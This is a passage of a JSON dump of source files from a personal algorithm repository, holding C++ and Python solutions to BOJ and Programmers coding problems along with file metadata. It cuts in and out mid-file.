solution(vector<vector<string>> places) {\\n vector<int> answer;\\n string str;\\n \\n for(int i = 0 ; i < 5 ; i++) {\\n place.clear();\\n \\n for(int j = 0 ; j < 5 ; j++) {\\n for(int k = 0 ; k < 5 ; k++) {\\n str += places[i][j][k];\\n }\\n place.push_back(str);\\n str.clear();\\n }\\n \\n if(!func()) answer.push_back(0);\\n else answer.push_back(1);\\n }\\n \\n return answer;\\n}\"\n },\n {\n \"alpha_fraction\": 0.45128780603408813,\n \"alphanum_fraction\": 0.4916013479232788,\n \"avg_line_length\": 21.923076629638672,\n \"blob_id\": \"21ae3ac2740fee9b86be85339bd034295d2762cc\",\n \"content_id\": \"27a5893afd88f802ff47aaee00f8d4810611259b\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 959,\n \"license_type\": \"no_license\",\n \"max_line_length\": 95,\n \"num_lines\": 39,\n \"path\": \"/BOJ/Prefix Sum/14476.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nBOJ 14476번: 최대공약수 하나 빼기\\nDATE: 2022-01-24\\nPrefix Sum\\n*/\\n#include <iostream>\\n#define MAX 1000001\\nusing namespace std;\\n\\nlong long arr[MAX], leftArr[MAX], rightArr[MAX];\\n\\nlong long gcd(long long a, long long b){\\n return b ? gcd(b, a % b) : a;\\n}\\n\\nint main(){\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n int n, num;\\n int max = -1, idx;\\n cin >> n;\\n\\n for(int i = 1 ; i <= n ; i++) cin >> arr[i];\\n for(int i = 1 ; i <= n ; i++) leftArr[i] = gcd(arr[i], leftArr[i - 1]); // 왼쪽부터 최대공약수 누적\\n for(int i = n ; i >= 1 ; i--) rightArr[i] = gcd(arr[i], rightArr[i + 1]); // 오른쪽부터 최대공약수 누적\\n\\n for(int i = 1 ; i <= n ; i++){\\n num = gcd(leftArr[i - 1], rightArr[i + 1]);\\n\\n if(num > max && arr[i] % num != 0) {\\n max = num;\\n idx = i;\\n }\\n }\\n\\n if(max == -1) cout << -1;\\n else cout << max << \\\" \\\" << arr[idx];\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.4491434693336487,\n \"alphanum_fraction\": 0.4657387435436249,\n \"avg_line_length\": 20.482759475708008,\n \"blob_id\": \"337c983f28736bfffefc100626dfbb5240183770\",\n \"content_id\": \"d45bf5fe8713bd27e2c982853d6129e9add30285\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 1956,\n \"license_type\": \"no_license\",\n \"max_line_length\": 86,\n \"num_lines\": 87,\n \"path\": \"/BOJ/Graph Theory/1043.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nBOJ 1043번: 거짓말\\n2021-12-26\\nUnion-Find\\n*/\\n#include <iostream>\\n#include <vector>\\n#include <algorithm>\\nusing namespace std;\\n\\nint getParent(int parent[], int x) {\\n if(parent[x] == x) return x;\\n return parent[x] = getParent(parent, parent[x]);\\n}\\n\\nvoid unionParent(int parent[], int a, int b) {\\n a = getParent(parent, a);\\n b = getParent(parent, b);\\n if(a < b) parent[b] = a;\\n else parent[a] = b;\\n}\\n\\nint findParent(int parent[], int a, int b) {\\n a = getParent(parent, a);\\n b = getParent(parent, b);\\n if(a == b) return 1;\\n else return 0;\\n}\\n\\nint main() {\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n vector<int> truth, tmp;\\n vector<vector<int>> party;\\n int n, m, truthNum; //사람 수, 파티 수, 진실을 아는 사람의 수\\n int total, num, ans = 0;\\n bool flag;\\n cin >> n >> m >> truthNum;\\n\\n if(truthNum == 0) { // 진실을 아는 사람이 한 명도 없을 때\\n cout << m;\\n return 0;\\n }\\n\\n int parent[n + 1];\\n\\n for(int i = 1 ; i <= n ; i++) parent[i] = i;\\n\\n for(int i = 0 ; i < truthNum ; i++) {\\n cin >> num;\\n truth.push_back(num); // 진실을 아는 사람들의 번호\\n }\\n\\n for(int i = 0 ; i < m ; i++) {\\n cin >> total;\\n\\n for(int j = 0 ; j < total ; j++) {\\n cin >> num;\\n tmp.push_back(num);\\n }\\n\\n party.push_back(tmp);\\n \\n for(int j = 1 ; j < tmp.size() ; j++) unionParent(parent, tmp[j - 1], tmp[j]);\\n\\n tmp.clear();\\n }\\n\\n for(int i = 0 ; i < party.size() ; i++) {\\n flag = true;\\n\\n for(int j = 0 ; j < party[i].size() ; j++) {\\n for(int k = 0 ; k < truth.size() ; k++) {\\n if(findParent(parent, party[i][j], truth[k])){\\n flag = false;\\n break;\\n }\\n if(!flag) break;\\n }\\n }\\n\\n if(flag) ans++;\\n }\\n\\n cout << ans;\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.4567541182041168,\n \"alphanum_fraction\": 0.4839650094509125,\n \"avg_line_length\": 19.19607925415039,\n \"blob_id\": \"e46ae713f119c624538d165e2db696f133d087d9\",\n \"content_id\": \"34f3b43c2f55df0b0d1333c8cd336b4854f6a4fd\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 1057,\n \"license_type\": \"no_license\",\n \"max_line_length\": 71,\n \"num_lines\": 51,\n \"path\": \"/BOJ/BFS_DFS/5014.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nBOJ 5014번: 스타트링크\\nDATE: 2022-04-28\\nBFS\\n*/\\n#include <iostream>\\n#include <queue>\\nusing namespace std;\\n\\nint F, S, G, U, D;\\nbool visited[1000001];\\n\\nvoid bfs(int S){\\n queue<pair<int,int>> q;\\n q.push({S, 0});\\n visited[S] = true;\\n \\n while(!q.empty()){\\n int floor = q.front().first;\\n int cnt = q.front().second;\\n q.pop();\\n\\n if(floor == G) {\\n cout << cnt;\\n return;\\n }\\n\\n int upstairs = floor + U;\\n int downstairs = floor - D;\\n\\n if(upstairs > 0 && upstairs <= F && !visited[upstairs]) {\\n q.push({upstairs, cnt + 1});\\n visited[upstairs] = true;\\n }\\n if(downstairs > 0 && downstairs <= F && !visited[downstairs]) {\\n q.push({downstairs, cnt + 1});\\n visited[downstairs] = true;\\n }\\n }\\n\\n cout << \\\"use the stairs\\\";\\n}\\n\\nint main(){\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n cin >> F >> S >> G >> U >> D; // 총 F층, 현재 층, 도착 층, Up, Down\\n\\n bfs(S);\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.5967742204666138,\n \"alphanum_fraction\": 0.6451612710952759,\n \"avg_line_length\": 18.153846740722656,\n \"blob_id\": \"d9d033352c76bfb5e6c366ae545b041243f88861\",\n \"content_id\": \"fce5c9caa4be0ea8aca041138ec3e0155482ca80\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 264,\n \"license_type\": \"no_license\",\n \"max_line_length\": 48,\n \"num_lines\": 13,\n \"path\": \"/programmers/Level 1/pick_two_and_add.py\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# programmers Level 1: 두 개 뽑아서 더하기\\n# date: 2022-04-14\\nimport itertools\\n\\ndef solution(numbers):\\n answer = []\\n\\n for i in itertools.combinations(numbers, 2):\\n answer.append(i[0] + i[1])\\n\\n answer = sorted(set(answer))\\n\\n return answer\"\n },\n {\n \"alpha_fraction\": 0.4154103994369507,\n \"alphanum_fraction\": 0.47236180305480957,\n \"avg_line_length\": 18.933332443237305,\n \"blob_id\": \"e93242cbcc880cb791a3871be2e5f1ca3e0acac5\",\n \"content_id\": \"4d8d3e5d7149be1998cd0fbf4ed60c3523950181\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 603,\n \"license_type\": \"no_license\",\n \"max_line_length\": 60,\n \"num_lines\": 30,\n \"path\": \"/programmers/Level 1/gym_clothes.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nprogrammers Level 1: 체육복\\ndate: 2021-04-28\\nupdate: 2022-04-28\\n*/\\n#include <string>\\n#include <vector>\\nusing namespace std;\\n\\nint arr[31];\\n\\nint solution(int n, vector<int> lost, vector<int> reserve) {\\n int answer = 0;\\n \\n for(auto i : lost) arr[i] -= 1;\\n for(auto i : reserve) arr[i] += 1;\\n \\n for(int i = 1 ; i < n ; i++){\\n if(arr[i] == -1){\\n if(arr[i-1] == 1) arr[i] = arr[i-1] = 0;\\n else if(arr[i+1] == 1) arr[i] = arr[i+1] = 0;\\n }\\n }\\n \\n for(int i = 1 ; i <= n ; i++){\\n if(arr[i] > -1) answer++;\\n }\\n \\n return answer;\\n}\"\n },\n {\n \"alpha_fraction\": 0.33221250772476196,\n \"alphanum_fraction\": 0.3665097653865814,\n \"avg_line_length\": 18.324674606323242,\n \"blob_id\": \"8f699b2810ecd2d568366b40f8f44fa5a34e9b5a\",\n \"content_id\": \"18fc5c709ff21bd98ce55c9f5e3806aeb83b2891\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 1575,\n \"license_type\": \"no_license\",\n \"max_line_length\": 79,\n \"num_lines\": 77,\n \"path\": \"/BOJ/Implementation/14503.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nBOJ 14503번: 로봇 청소기\\nDATE: 2022-02-04\\nImplementation\\n*/\\n#include <iostream>\\n#include <queue>\\nusing namespace std;\\n\\nint n, m, ans;\\nint arr[51][51];\\nint dx[4] = {-1, 0, 1, 0}; \\nint dy[4] = {0, 1, 0, -1};\\nint x, y, d;\\n\\nint getDir(int d) {\\n if(d == 0) return 3;\\n else if(d == 1) return 0;\\n else if(d == 2) return 1;\\n else return 2;\\n}\\n\\nvoid solve(){\\n while(1){\\n bool flag = false;\\n\\n if(!arr[x][y]){\\n arr[x][y] = 2; // 청소 완료\\n ans++;\\n }\\n \\n for(int i = 0 ; i < 4 ; i++) {\\n d = getDir(d);\\n int nx = x + dx[d];\\n int ny = y + dy[d];\\n\\n if(nx < 0 || ny < 0 || nx >= n || ny >= m || arr[nx][ny]) continue;\\n \\n x = nx;\\n y = ny;\\n flag = true;\\n\\n break;\\n }\\n\\n if(!flag) { // 네 방향 모두 청소가 이미 되어있거나 벽인 경우\\n int nd = (d + 2) % 4; // 후진 할 방향\\n int nx = x + dx[nd];\\n int ny = y + dy[nd];\\n\\n if(nx < 0 || ny < 0 || nx >= n || ny >= m) continue;\\n\\n if(arr[nx][ny] != 1) { // 후진 가능 (방향은 그대로)\\n x = nx;\\n y = ny;\\n }\\n else return;\\n }\\n }\\n}\\n\\nint main() {\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n cin >> n >> m;\\n cin >> x >> y >> d;\\n\\n for(int i = 0 ; i < n ; i++){\\n for(int j = 0 ; j < m ; j++){\\n cin >> arr[i][j];\\n }\\n }\\n\\n solve();\\n cout << ans;\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.46423017978668213,\n \"alphanum_fraction\": 0.4914463460445404,\n \"avg_line_length\": 21.578947067260742,\n \"blob_id\": \"31facdaec411a89c9401de3355cbcfbe22dae817\",\n \"content_id\": \"f5d2a432fa4856dfa0224912b149a19a11445794\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 1438,\n \"license_type\": \"no_license\",\n \"max_line_length\": 90,\n \"num_lines\": 57,\n \"path\": \"/BOJ/BFS_DFS/14226.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UHC\",\n \"text\": \"/*\\nBOJ 14226번: 이모티콘\\nDATE: 2021-01-25\\nBFS\\n*/\\n#include <iostream>\\n#include <queue>\\n#define MAX 1001\\nusing namespace std;\\n\\nint visited[MAX][MAX] = { 0, };\\n\\nint main()\\n{\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n\\n int s;\\n cin >> s;\\n\\n queue<pair<int, int>> q; //(화면 출력 개수, 클립보드 개수)\\n pair<int, int> p;\\n\\n q.push(make_pair(1, 0));\\n visited[1][0] = 1;\\n\\n while (!q.empty())\\n {\\n p = q.front();\\n int monitor = p.first;\\n int cb = p.second;\\n q.pop();\\n\\n if (monitor == s)\\n {\\n cout << visited[monitor][cb]-1;\\n break;\\n }\\n \\n if (!visited[monitor][monitor]) //화면에 있는 이모티콘을 모두 복사해서 클립보드에 저장\\n {\\n q.push(make_pair(monitor, monitor));\\n visited[monitor][monitor] = visited[monitor][cb] + 1;\\n }\\n if (monitor + cb < MAX && !visited[monitor + cb][cb]) //클립보드에 있는 모든 이모티콘을 화면에 붙여넣기\\n {\\n q.push(make_pair(monitor + cb, cb));\\n visited[monitor + cb][cb] = visited[monitor][cb] + 1;\\n }\\n if (monitor > 0 && !visited[monitor - 1][cb]) //화면에 있는 이모티콘 중 하나를 삭제\\n {\\n q.push(make_pair(monitor - 1, cb));\\n visited[monitor - 1][cb] = visited[monitor][cb] + 1;\\n }\\n }\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.4117647111415863,\n \"alphanum_fraction\": 0.46740859746932983,\n \"avg_line_length\": 16.027027130126953,\n \"blob_id\": \"e38c3c9550ed1bfd175c8a0ae750ad94aa523fcf\",\n \"content_id\": \"9ef49084b4dc78aa8757fcac2423bcb1778dc90a\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 687,\n \"license_type\": \"no_license\",\n \"max_line_length\": 58,\n \"num_lines\": 37,\n \"path\": \"/BOJ/Graph Theory/17073.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UHC\",\n \"text\": \"/*\\nBOJ 17073번: 나무 위의 빗물\\nDATE: 2021-01-21\\n*/\\n#include <iostream>\\n#include <queue>\\n#define NODE_MAX 500000\\n\\nusing namespace std;\\n\\nint edge[NODE_MAX] = { 0, };\\n\\nint main() {\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n\\n int n;\\n double w, leaf=0;\\n cin >> n >> w;\\n\\n for (int i = 0; i < n - 1; i++) {\\n int u, v;\\n cin >> u >> v;\\n edge[u - 1]++;\\n edge[v - 1]++;\\n }\\n\\n for (int i = 1 ; i < n; i++) { \\n if (edge[i] == 1) //부모 노드와만 연결 되었다면 leaf\\n leaf++;\\n }\\n\\n cout << fixed; //소수점 고정\\n cout.precision(10); //소수점 10자리\\n cout << w / leaf;\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.41525423526763916,\n \"alphanum_fraction\": 0.45338982343673706,\n \"avg_line_length\": 16.830188751220703,\n \"blob_id\": \"a6f1e8da0ae429b93595eff13f175e27b01111d8\",\n \"content_id\": \"de7b3bcc519d4ad65898fa18ad04bcceeeebdde3\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 946,\n \"license_type\": \"no_license\",\n \"max_line_length\": 58,\n \"num_lines\": 53,\n \"path\": \"/BOJ/Graph Theory/2252.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"//BOJ 2252번: 줄 세우기\\n//2021-07-12\\n//Topology Sort\\n#include <iostream>\\n#include <queue>\\n#include <vector>\\n#define MAX 100000\\nusing namespace std;\\n\\nint n, inDegree[MAX];\\nvector<int> v[MAX];\\n\\nvoid topologySort(){\\n int result[n];\\n queue<int> q;\\n\\n for(int i = 1 ; i <= n ; i++){\\n if(inDegree[i] == 0) q.push(i);\\n }\\n\\n for(int i = 0 ; i < n ; i++){\\n int x = q.front();\\n q.pop();\\n result[i] = x;\\n\\n for(int j = 0 ; j < v[x].size() ; j++){\\n int y = v[x][j];\\n if(--inDegree[y] == 0) q.push(y);\\n }\\n }\\n\\n for(int i = 0 ; i < n ; i++){\\n cout << result[i] << \\\" \\\";\\n }\\n\\n return;\\n}\\n\\nint main(){\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n int m, num1, num2;\\n cin >> n >> m;\\n \\n for(int i = 0 ; i < m ; i++){\\n cin >> num1 >> num2;\\n v[num1].push_back(num2);\\n inDegree[num2]++;\\n }\\n\\n topologySort();\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.4667896628379822,\n \"alphanum_fraction\": 0.5055350661277771,\n \"avg_line_length\": 14.970588684082031,\n \"blob_id\": \"21774e653168188a8de49baa59d09b8aab518034\",\n \"content_id\": \"e04afa0a4b67c061ad5ebf3fb5014d83d8bc25f9\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 552,\n \"license_type\": \"no_license\",\n \"max_line_length\": 58,\n \"num_lines\": 34,\n \"path\": \"/BOJ/Mathematics/1978.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nBOJ 1978번: 소수 찾기\\nDATE: 2021-10-09\\n*/\\n#include <iostream>\\n#include <vector>\\n#include <math.h>\\nusing namespace std;\\n\\nbool isPrime(int num) {\\n if (num < 2) return false;\\n\\n for(int i = 2 ; i <= sqrt(num) ; i++) {\\n if(num % i == 0) return false;\\n }\\n\\n return true;\\n}\\n\\nint main() {\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n int n, num, cnt = 0;\\n vector<int> v;\\n cin >> n;\\n\\n for(int i = 0 ; i < n ; i++) {\\n cin >> num;\\n if(isPrime(num)) cnt++;\\n }\\n\\n cout << cnt;\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.37490609288215637,\n \"alphanum_fraction\": 0.41622841358184814,\n \"avg_line_length\": 18.02857208251953,\n \"blob_id\": \"6736ff7e104355d61d2f86bf1b5957d1a592173f\",\n \"content_id\": \"863ad4f996ccae49e9aeb3e61078ad5037dcfe95\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 1373,\n \"license_type\": \"no_license\",\n \"max_line_length\": 58,\n \"num_lines\": 70,\n \"path\": \"/BOJ/Implementation/1062.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nBOJ 1062번: 가르침\\nDATE: 2021-10-20\\n*/\\n#include <iostream>\\n#include <vector>\\n#include <algorithm>\\nusing namespace std;\\n\\nvector<string> words;\\nint k, ans = 0;\\nint alpha[26] = {0,};\\n\\nvoid combination(int depth, int next) {\\n if(depth == k - 5) { //a n t i c를 제외한 조합\\n int cnt = 0;\\n\\n for(int i = 0 ; i < words.size() ; i++) {\\n bool flag = true;\\n for(int j = 0 ; j < words[i].length() ; j++) {\\n if(alpha[words[i][j] - 97] == 0){\\n flag = false;\\n break;\\n }\\n }\\n if(flag) cnt++;\\n }\\n\\n ans = max(ans, cnt);\\n\\n return;\\n }\\n\\n for(int i = next ; i < 26 ; i++) {\\n if(alpha[i] == 1) continue;\\n\\n alpha[i] = 1;\\n combination(depth + 1, i + 1);\\n alpha[i] = 0;\\n }\\n}\\n\\nint main() {\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n int n;\\n string word;\\n cin >> n >> k;\\n\\n if(k < 5) { // 모든 단어가 a n t i c를 포함하므로\\n cout << \\\"0\\\";\\n return 0;\\n }\\n \\n alpha['a' - 97] = 1;\\n alpha['n' - 97] = 1;\\n alpha['t' - 97] = 1;\\n alpha['i' - 97] = 1;\\n alpha['c' - 97] = 1;\\n\\n for(int i = 0 ; i < n ; i++) {\\n cin >> word;\\n words.push_back(word);\\n }\\n \\n combination(0, 0);\\n\\n cout << ans;\\n \\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.3930753469467163,\n \"alphanum_fraction\": 0.42362526059150696,\n \"avg_line_length\": 19.914894104003906,\n \"blob_id\": \"a2dd1a8be42b32a64e2403d01f91076bf0ca7333\",\n \"content_id\": \"c058dcdab7efa0ededd0d42ff703908ac9a04d74\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 988,\n \"license_type\": \"no_license\",\n \"max_line_length\": 88,\n \"num_lines\": 47,\n \"path\": \"/BOJ/Graph Theory/1956.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nBOJ 1956번: 운동\\nDATE: 2022-03-04\\nFloyd-Warshall Algorithm\\n*/\\n#include <iostream>\\n#include <algorithm>\\n#define MAX 401\\n#define INF 1e9\\nusing namespace std;\\n\\nint arr[MAX][MAX];\\n\\nint main(){\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n int v, e;\\n int a, b, c;\\n int minVal = INF;\\n cin >> v >> e;\\n\\n fill(&arr[0][0], &arr[v][v], INF);\\n\\n for(int i = 0 ; i < e ; i++){\\n cin >> a >> b >> c;\\n arr[a][b] = min(arr[a][b], c);\\n }\\n\\n for(int k = 1 ; k <= v ; k++){\\n for(int i = 1 ; i <= v ; i++){\\n for(int j = 1 ; j <= v ; j++){\\n if(arr[i][k] + arr[k][j] < arr[i][j]) arr[i][j] = arr[i][k] + arr[k][j];\\n }\\n }\\n }\\n\\n for(int i = 1 ; i <= v ; i++){\\n for(int j = 1 ; j <= v ; j++){\\n if(i == j || arr[i][j] == INF) continue;\\n minVal = min(minVal, arr[i][j] + arr[j][i]);\\n }\\n }\\n\\n if(minVal == INF) cout << -1;\\n else cout << minVal;\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.41017964482307434,\n \"alphanum_fraction\": 0.46856287121772766,\n \"avg_line_length\": 16.153846740722656,\n \"blob_id\": \"23905d28da44ea5ab3322df6ee88cb7199e65287\",\n \"content_id\": \"609f012791f7c6980433af6d885ce9532ff512c1\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 676,\n \"license_type\": \"no_license\",\n \"max_line_length\": 58,\n \"num_lines\": 39,\n \"path\": \"/BOJ/Two Pointer/1806.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nBOJ 1806번: 부분합\\nDATE: 2021-06-01\\nTwo Pointer\\n*/\\n#include <iostream>\\n#include <algorithm>\\nusing namespace std;\\n\\nint arr[100001];\\n\\nint main(){\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n int start=0, end=0, sum=0;\\n int length = 100001;\\n int n, s;\\n cin >> n >> s;\\n\\n for(int i = 0 ; i < n ; i++){\\n cin >> arr[i];\\n }\\n\\n while(end <= n){\\n if(sum >= s){\\n int dst = end - start;\\n length = min(length, dst);\\n\\n sum -= arr[start++];\\n }\\n else if(sum < s){\\n sum += arr[end++];\\n }\\n }\\n\\n if(length == 100001) cout << 0;\\n else cout << length;\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.4037266969680786,\n \"alphanum_fraction\": 0.4551907777786255,\n \"avg_line_length\": 21.559999465942383,\n \"blob_id\": \"2037299183fdc0ec4ee230242b90073acdf65cde\",\n \"content_id\": \"6d969e199330fb7a0d14ecc50dcbf7ed68f0aaa2\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 1129,\n \"license_type\": \"no_license\",\n \"max_line_length\": 75,\n \"num_lines\": 50,\n \"path\": \"/BOJ/Dynamic Programming/9252.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nBOJ 9252번: LCS 2\\nDATE: 2022-02-16\\nDynamic Programming (Longest Common Subsequence)\\n*/\\n#include <iostream>\\n#include <algorithm>\\nusing namespace std;\\n\\nint dp[1001][1001];\\n\\nint main(){\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n string str1, str2;\\n cin >> str1 >> str2;\\n\\n for(int i = 1 ; i <= str2.length() ; i++){\\n for(int j = 1 ; j <= str1.length() ; j++){\\n if(str2[i - 1] == str1[j - 1]) dp[i][j] = dp[i - 1][j - 1] + 1;\\n else dp[i][j] = max(dp[i - 1][j] , dp[i][j - 1]);\\n }\\n }\\n\\n int length = dp[str2.length()][str1.length()];\\n cout << length << '\\\\n';\\n\\n if(length == 0) return 0;\\n \\n char ans[length];\\n int i = str2.length(), j = str1.length();\\n int idx = 0, num = length;\\n\\n while(1){\\n if(num == 0) break;\\n\\n if(num == dp[i][j - 1]) j--;\\n else if(num == dp[i - 1][j]) i--;\\n else {\\n ans[idx++] = str1[j - 1];\\n num = dp[i - 1][j - 1];\\n i--; \\n j--;\\n }\\n }\\n\\n reverse(ans, ans + length);\\n for(int i = 0 ; i < length ; i++) cout << ans[i];\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.4708029329776764,\n \"alphanum_fraction\": 0.5054744482040405,\n \"avg_line_length\": 20.115385055541992,\n \"blob_id\": \"b7ee071af63d6675692a5ba32c8c8b47f3f7a792\",\n \"content_id\": \"9c63d38aa7cbbd0df70a9809d0d1aa276819293c\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 560,\n \"license_type\": \"no_license\",\n \"max_line_length\": 86,\n \"num_lines\": 26,\n \"path\": \"/programmers/Level 2/english_shiritori.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nprogrammers Level 2: 영어 끝말잇기\\nDATE: 2022-06-14\\n*/\\n#include <string>\\n#include <vector>\\n#include <iostream>\\n#include <map>\\nusing namespace std;\\n\\nvector<int> solution(int n, vector<string> words) {\\n vector<int> answer(2, 0);\\n map<string, int> word;\\n\\n for(int i = 0 ; i < words.size() ; i++){\\n if(word[words[i]] > 0 || (i > 0 && words[i - 1].back() != words[i].front())) {\\n answer[0] = i % n + 1;\\n answer[1] = i / n + 1;\\n break;\\n }\\n \\n word[words[i]]++;\\n }\\n\\n return answer;\\n}\"\n },\n {\n \"alpha_fraction\": 0.3958539068698883,\n \"alphanum_fraction\": 0.45607107877731323,\n \"avg_line_length\": 22.581396102905273,\n \"blob_id\": \"16a086e3fd78e97555798c4423f493a8aa1cffe3\",\n \"content_id\": \"a0cda88e76dbbf61b0e6b5096639d4957e31e4ae\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 1013,\n \"license_type\": \"no_license\",\n \"max_line_length\": 94,\n \"num_lines\": 43,\n \"path\": \"/programmers/Level 1/crane_doll_draw_game.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"//programmers Level 1 : Crane doll draw game\\n//2019 KAKAO Winter Internship\\n//2021-05-07\\n#include <string>\\n#include <vector>\\n#include <iostream>\\n\\nusing namespace std;\\n\\nint solution(vector<vector<int>> board, vector<int> moves) {\\n int answer = 0;\\n vector<int> v;\\n \\n for(int i = 0 ; i < moves.size() ; i++){\\n for(int j = 0 ; j < board.size() ; j++){\\n if(board[j][moves[i] - 1] > 0){\\n v.push_back(board[j][moves[i] - 1]);\\n board[j][moves[i] - 1] = 0;\\n break;\\n }\\n } \\n }\\n \\n for(int i = 0 ; i < v.size() ; i++){\\n if(v[i] == v[i - 1]){\\n answer += 2;\\n v.erase(v.begin() + (i - 1) , v.begin() + (i + 1));\\n i-=2;\\n }\\n }\\n \\n return answer;\\n}\\n\\nint main(){\\n vector<vector<int>> board = {{0,0,0,0,0},{0,0,1,0,3},{0,2,5,0,1},{4,2,4,4,2},{3,5,1,3,1}};\\n vector<int> moves = {1,5,3,5,1,2,1,4};\\n\\n int num = solution(board, moves);\\n cout << num;\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.40674155950546265,\n \"alphanum_fraction\": 0.449438214302063,\n \"avg_line_length\": 12.9375,\n \"blob_id\": \"85ee0f357f3eedcef2476ab1cd3116a0efd34378\",\n \"content_id\": \"cb82b4710a7318f8d18f18d5c13d3c2bbd8c279c\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 451,\n \"license_type\": \"no_license\",\n \"max_line_length\": 58,\n \"num_lines\": 32,\n \"path\": \"/BOJ/Implementation/2161.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nBOJ 2161번: 카드1\\n2021-03-30\\n*/\\n#include <iostream>\\n#include <queue>\\n\\nusing namespace std;\\n\\nint main(){\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n queue <int> q;\\n\\n int n;\\n cin >> n;\\n\\n for(int i = 1 ; i <= n ; i++){\\n q.push(i);\\n }\\n\\n while(!(q.size() == 1)){\\n cout << q.front() << \\\" \\\";\\n q.pop();\\n\\n q.emplace(q.front()); \\n q.pop();\\n 